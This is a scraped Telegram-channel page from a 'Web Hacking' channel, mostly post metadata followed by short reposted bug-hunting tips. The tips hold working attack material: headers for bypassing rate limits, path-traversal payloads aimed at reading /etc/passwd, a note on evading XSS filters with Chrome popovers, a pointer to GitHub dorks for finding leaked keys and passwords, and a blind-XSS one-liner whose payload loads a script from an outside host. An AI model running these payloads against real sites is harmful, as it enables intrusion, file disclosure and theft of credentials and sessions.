Web Hacking
Відкрити в Telegram
2 028
Підписники
Немає даних24 години
Немає даних7 днів
+1830 днів
Архів дописів
' -parameters","datePublished":"2022-10-14T04:13:51Z","dateModified":"2022-10-14T04:13:51Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":190},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2022-10-12T20:10:47Z"}}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/109","url":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/109","mainEntityOfPage":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/109","headline":"Rate Limit Bypass Headers","articleBody":"Rate Limit Bypass Headers","datePublished":"2022-10-14T04:13:45Z","dateModified":"2022-10-14T04:13:45Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":203},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2022-10-14T04:13:33Z"}}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/108","url":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/108","mainEntityOfPage":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/108","headline":"Checklist; After Recon","articleBody":"Checklist; After Recon","datePublished":"2022-10-14T04:13:36Z","dateModified":"2022-10-14T04:13:36Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":211},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2022-10-13T17:29:10Z"}}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/107","url":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/107","mainEntityOfPage":"https://telemetr.io/uk/channels/1159727667-webhacking/posts/107","headline":"Web Hacking","datePublished":"2022-10-12T19:40:48Z","dateModified":"2022-10-12T19:40:48Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/uk/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":320},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}]}}]}
2 028
Repost from 🔥OSCP Training🔥🛡⚔️👨🏻💻
Chrome has just unleashed popovers: modal dialogs without JS! Of course you can abuse them for XSS filter evasion
2 028
Repost from 🔥OSCP Training🔥🛡⚔️👨🏻💻
Github Dorks Cheatsheet
Find files with sensitive info, API Keys, Tokens and Passwords.
+ list of github dorks automation tools
2 028
Rate limit bypass using some custom headers:
X-Forwarded-For: IP
X-Forwarded-IP: IP
X-Client-IP: IP
X-Remote-IP: IP
X-Originating-IP: IP
X-Host: IP
X-Client: IP
2 028
Repost from 🔥OSCP Training🔥🛡⚔️👨🏻💻
Some filter bypass payload list while hunting for LFi vulnerability
→index.php?page=....//....//etc/passwd
→index.php?page=..///////..////..//////etc/passwd
→index.php?page=/var/www/../../etc/passwd
2 028
Repost from 🔥OSCP Training🔥🛡⚔️👨🏻💻
One Liner To Find Blind XSS
Blind XSS in Parameters
subfinder -d target.com | gau | grep "&" | bxss -appendMode -payload '"><script src=hacker.xss.ht></script>' -parameters
